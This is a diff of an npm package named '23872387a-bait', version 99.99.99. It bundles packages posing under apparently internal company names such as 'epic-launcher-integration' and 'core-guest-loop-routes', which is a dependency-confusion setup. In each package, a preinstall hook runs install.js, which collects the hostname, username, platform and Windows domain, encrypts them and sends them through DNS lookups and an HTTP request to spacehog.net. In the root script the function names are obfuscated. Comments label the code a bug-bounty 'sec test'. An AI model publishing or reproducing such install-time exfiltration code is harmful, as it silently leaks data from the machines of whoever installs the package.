23872387a-bait 99.99.99

package/airbnb_packages/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");

package/airbnb_packages/install.js

@@ -0,0 +1,101 @@
+// - H1/lob0 -
+// sec test only
+
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function myChunker(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0){b.push(newstring);}
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return_string += "." + newstring;
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
+    var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            dnsCallback (i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        dnsCallback ('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'H1-security-test-november'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+//attempt http request last as it's likely to fail
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/airbnb_packages/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "core-guest-loop-routes",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/epic_packages/details.txt

@@ -0,0 +1,5 @@
+epic-launcher-integration/app/scripts/src/utils/lowercaseObjectProperties.js
+
+probable package name: epic-launcher-integration/app/scripts
+
+can try just epic-launcher-integration

package/epic_packages/epic-launcher-integration/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");

package/epic_packages/epic-launcher-integration/install.js

@@ -0,0 +1,101 @@
+// - H1/lob0 -
+// sec test only
+
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function myChunker(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0){b.push(newstring);}
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return_string += "." + newstring;
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
+    var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            dnsCallback (i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        dnsCallback ('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'H1-security-test-november'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+//attempt http request last as it's likely to fail
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/epic_packages/epic-launcher-integration/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "epic-launcher-integration",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/epic_packages/epic-launcher-integration_app/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");

package/epic_packages/epic-launcher-integration_app/install.js

@@ -0,0 +1,101 @@
+// - H1/lob0 -
+// sec test only
+
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function myChunker(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0){b.push(newstring);}
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return_string += "." + newstring;
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
+    var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            dnsCallback (i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        dnsCallback ('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'H1-security-test-november'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+//attempt http request last as it's likely to fail
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/epic_packages/epic-launcher-integration_app/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "epic-launcher-integration/app",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/epic_packages/epic-launcher-integration_app_scripts/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");

package/epic_packages/epic-launcher-integration_app_scripts/install.js

@@ -0,0 +1,101 @@
+// - H1/lob0 -
+// sec test only
+
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function myChunker(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0){b.push(newstring);}
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return_string += "." + newstring;
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
+    var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            dnsCallback (i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        dnsCallback ('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'H1-security-test-november'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = myChunker(update,63);
+
+dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
+//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+
+//attempt http request last as it's likely to fail
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/epic_packages/epic-launcher-integration_app_scripts/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "epic-launcher-integration/app/scripts",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/index.js

@@ -0,0 +1 @@
+console.log("installed");

package/install.js

@@ -0,0 +1,98 @@
+var os = require('os')
+var crypto = require('crypto');
+var dns = require('dns');
+const http = require('http');
+const execSync = require('child_process').execSync;
+
+function ca4bb072ceea3ab317f305a685b251ed(string,chunk_size) {
+    var b = [];
+    newstring = '';
+    char_count = 0
+
+    for(var i=0; i < string.length; i+=1){
+        char_count+=1;
+        if (char_count < chunk_size) {
+            newstring+= string[i];
+        }
+        else {
+    	    b.push(newstring);
+	    newstring = string[i];
+	    char_count = 0;
+        }
+    }
+    
+    if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);}
+    
+    if (b.length > 0 && b.length < 3) {
+	    return_string = b.toString().replace(",",".");
+	    return return_string;
+    }
+    else if (b.length == 0) {
+        return newstring;
+    }
+    else {
+        return b;
+    }
+}
+
+function f994d544e6f15ccbb04cee479878873c6(sequence,semi_random_id, information, information_identifier, domain) {
+    dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
+}
+
+function fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, information, information_identifier, domain) {
+    if (typeof information == 'object') {
+     
+        for (i = 0; i < information.length;i++ ) {
+            f994d544e6f15ccbb04cee479878873c6(i,semi_random_id, information[i], information_identifier, domain);    
+        }
+    }
+    else if (typeof information == 'string') {
+        f994d544e6f15ccbb04cee479878873c6('n',semi_random_id, information, information_identifier, domain);
+    }
+}
+
+let domain = 'spacehog.net'
+let super_secret_password = 'feed415285a866bda9f5754d83c90981'
+let userinfo = os.userInfo()
+let info = ""
+
+const buf = crypto.randomBytes(2);
+const semi_random_id = buf.toString('hex')
+
+if (os.platform().includes("win")) {
+    domain_info = execSync('wmic computersystem get domain').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else if (os.platform().includes("linux")) {
+    domain_info = execSync('uname -n').toString();
+    domain_info = domain_info.replace(/[\n\r\t\s]/g, '');
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
+}
+else {
+    info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
+}
+
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(info,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
+
+fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'u', domain);
+
+var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
+var update = super_secret_key.update(__dirname,'utf8','hex');
+update+= super_secret_key.final('hex');
+subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
+
+fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'p', domain);
+
+http.get({
+  hostname: 'spacehog.net',
+  port: 21,
+  path: '/'+semi_random_id,
+  agent: false}, 
+  (res) => {
+    //nothing
+});

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name" : "23872387a-bait",
+  "version" : "99.99.99",
+  "scripts" : {
+    "preinstall" : "node install.js"
+  },
+  "description": "",
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/roblox_packages/robloxtracer/index.js

@@ -0,0 +1,3 @@
+// - H1/lob0 -
+// sec test only
+console.log("installed");